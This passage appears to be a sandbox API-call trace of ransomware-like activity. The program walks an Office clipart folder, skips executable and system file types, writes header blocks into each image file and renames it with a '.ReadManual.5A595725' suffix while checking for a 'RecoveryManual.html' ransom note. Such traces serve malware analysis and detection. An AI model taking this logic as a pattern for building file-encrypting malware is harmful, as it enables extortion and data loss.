dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c45) returned 0x2f0000 [0273.646] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.646] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39431498859) returned 1 [0273.646] CloseHandle (hObject=0x184) returned 1 [0273.646] SetSecurityInfo () returned 0x57 [0273.646] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.646] CloseHandle (hObject=0x194) returned 1 [0273.647] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0f66600, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe0f66600, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x3c76, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03011U.BMP", cAlternateFileName="")) returned 1 [0273.647] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03011U.BMP" | out: lpString1="PH03011U.BMP") returned="PH03011U.BMP" [0273.647] lstrcmpiW (lpString1="PH03011U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.647] StrStrIW (lpFirst="PH03011U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.647] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.647] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.647] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.647] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" [0273.647] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.ReadManual.5A595725" [0273.647] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP.ReadManual.5A595725") returned 87 [0273.647] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39431588144) returned 1 [0273.647] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp")) returned 0x20 [0273.647] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03011U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03011u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.648] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=15478) returned 1 [0273.648] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3c76, lpName=0x0) returned 0x184 [0273.648] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.648] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.648] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.650] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.650] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3c76) returned 0x2f0000 [0273.651] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.651] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39431955935) returned 1 [0273.651] CloseHandle (hObject=0x184) returned 1 [0273.651] SetSecurityInfo () returned 0x57 [0273.651] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.651] CloseHandle (hObject=0x194) returned 1 [0273.651] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa55b9c00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x5a425410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa55b9c00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03012U.BMP", cAlternateFileName="")) returned 1 [0273.651] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03012U.BMP" | out: lpString1="PH03012U.BMP") returned="PH03012U.BMP" [0273.651] lstrcmpiW (lpString1="PH03012U.BMP", lpString2="RecoveryManual.html") returned -1 [0273.651] StrStrIW (lpFirst="PH03012U.BMP", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.651] StrCmpIW (psz1="BMP", psz2="exe") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="dll") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="sys") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="msi") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="mui") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="inf") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="cat") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="bat") returned 1 [0273.651] StrCmpIW (psz1="BMP", psz2="cmd") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="ps1") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="vbs") returned -1 [0273.651] StrCmpIW (psz1="BMP", psz2="ttf") returned -1 [0273.652] StrCmpIW (psz1="BMP", psz2="fon") returned -1 [0273.652] StrCmpIW (psz1="BMP", psz2="lnk") returned -1 [0273.652] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" [0273.652] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.ReadManual.5A595725" [0273.652] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP.ReadManual.5A595725") returned 87 [0273.652] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39432043378) returned 1 [0273.652] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp")) returned 0x20 [0273.652] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03012U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03012u.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.652] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4118) returned 1 [0273.652] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1016, lpName=0x0) returned 0x184 [0273.652] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.653] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.653] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.655] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.655] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1016) returned 0x2f0000 [0273.655] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.655] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39432390844) returned 1 [0273.655] CloseHandle (hObject=0x184) returned 1 [0273.655] SetSecurityInfo () returned 0x57 [0273.655] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.655] CloseHandle (hObject=0x194) returned 1 [0273.655] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc44dfa00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc44dfa00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x49d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03014_.GIF", cAlternateFileName="")) returned 1 [0273.655] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03014_.GIF" | out: lpString1="PH03014_.GIF") returned="PH03014_.GIF" [0273.656] lstrcmpiW (lpString1="PH03014_.GIF", lpString2="RecoveryManual.html") returned -1 [0273.656] StrStrIW (lpFirst="PH03014_.GIF", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.656] StrCmpIW (psz1="GIF", psz2="exe") returned 1 [0273.656] StrCmpIW (psz1="GIF", psz2="dll") returned 1 [0273.656] StrCmpIW (psz1="GIF", psz2="sys") returned -1 [0273.656] StrCmpIW (psz1="GIF", psz2="msi") returned -1 [0273.656] StrCmpIW (psz1="GIF", psz2="mui") returned -1 [0273.656] StrCmpIW (psz1="GIF", psz2="inf") returned -1 [0273.656] StrCmpIW (psz1="GIF", psz2="cat") returned 1 [0273.656] StrCmpIW (psz1="GIF", psz2="bat") returned 1 [0273.656] StrCmpIW (psz1="GIF", psz2="cmd") returned 1 [0273.656] StrCmpIW (psz1="GIF", psz2="ps1") returned -1 [0273.656] StrCmpIW (psz1="GIF", psz2="vbs") returned -1 [0273.656] StrCmpIW (psz1="GIF", psz2="ttf") returned -1 [0273.656] StrCmpIW (psz1="GIF", psz2="fon") returned 1 [0273.656] StrCmpIW (psz1="GIF", psz2="lnk") returned -1 [0273.656] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" [0273.656] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.ReadManual.5A595725" [0273.656] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF.ReadManual.5A595725") returned 87 [0273.656] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39432685831) returned 1 [0273.658] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif")) returned 0x20 [0273.658] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03014_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03014_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.659] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=18898) returned 1 [0273.659] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49d2, lpName=0x0) returned 0x184 [0273.659] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.660] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.660] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.661] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.662] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x49d2) returned 0x2f0000 [0273.662] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.662] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39433069719) returned 1 [0273.662] CloseHandle (hObject=0x184) returned 1 [0273.662] SetSecurityInfo () returned 0x57 [0273.662] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.662] CloseHandle (hObject=0x194) returned 1 [0273.662] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x78af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03041I.JPG", cAlternateFileName="")) returned 1 [0273.662] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03041I.JPG" | out: lpString1="PH03041I.JPG") returned="PH03041I.JPG" [0273.662] lstrcmpiW (lpString1="PH03041I.JPG", lpString2="RecoveryManual.html") returned -1 [0273.662] StrStrIW (lpFirst="PH03041I.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.662] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.662] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.662] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.662] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.662] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.662] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.662] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.662] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.662] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.662] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.663] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.663] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.663] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.663] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.663] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" [0273.663] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.ReadManual.5A595725" [0273.663] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG.ReadManual.5A595725") returned 87 [0273.663] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39433149750) returned 1 [0273.663] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg")) returned 0x20 [0273.663] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03041I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03041i.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.663] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30895) returned 1 [0273.663] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x78af, lpName=0x0) returned 0x184 [0273.663] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.664] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.664] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.666] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.666] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x78af) returned 0x2f0000 [0273.666] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.667] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39433541390) returned 1 [0273.667] CloseHandle (hObject=0x184) returned 1 [0273.667] SetSecurityInfo () returned 0x57 [0273.667] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.667] CloseHandle (hObject=0x194) returned 1 [0273.667] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7450, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03143I.JPG", cAlternateFileName="")) returned 1 [0273.667] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03143I.JPG" | out: lpString1="PH03143I.JPG") returned="PH03143I.JPG" [0273.667] lstrcmpiW (lpString1="PH03143I.JPG", lpString2="RecoveryManual.html") returned -1 [0273.667] StrStrIW (lpFirst="PH03143I.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.667] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.667] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.667] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0273.667] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0273.667] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0273.667] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0273.667] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0273.667] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0273.667] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0273.667] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0273.667] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0273.667] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0273.667] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0273.667] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0273.667] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" [0273.667] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.ReadManual.5A595725" [0273.667] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG.ReadManual.5A595725") returned 87 [0273.668] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39433630115) returned 1 [0273.668] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg")) returned 0x20 [0273.668] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH03143I.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph03143i.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0273.668] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=29776) returned 1 [0273.668] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7450, lpName=0x0) returned 0x184 [0273.668] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0273.669] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.669] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0273.671] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0273.671] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7450) returned 0x2f0000 [0273.671] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0273.672] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39434030026) returned 1 [0273.672] CloseHandle (hObject=0x184) returned 1 [0273.672] SetSecurityInfo () returned 0x57 [0273.672] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0273.672] CloseHandle (hObject=0x194) returned 1 [0273.672] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa343, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PH03205I.JPG", cAlternateFileName="")) returned 1 [0273.672] lstrcpyW (in: lpString1=0x6ab90a, lpString2="PH03205I.JPG" | out: lpString1="PH03205I.JPG") returned="PH03205I.JPG" [0273.672] lstrcmpiW (lpString1="PH03205I.JPG", lpString2="RecoveryManual.html") returned -1 [0273.672] StrStrIW (lpFirst="PH03205I.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0273.672] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0273.672] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0273.672] StrCmpIW (psz1="JPG", psz2="sys") returned -1 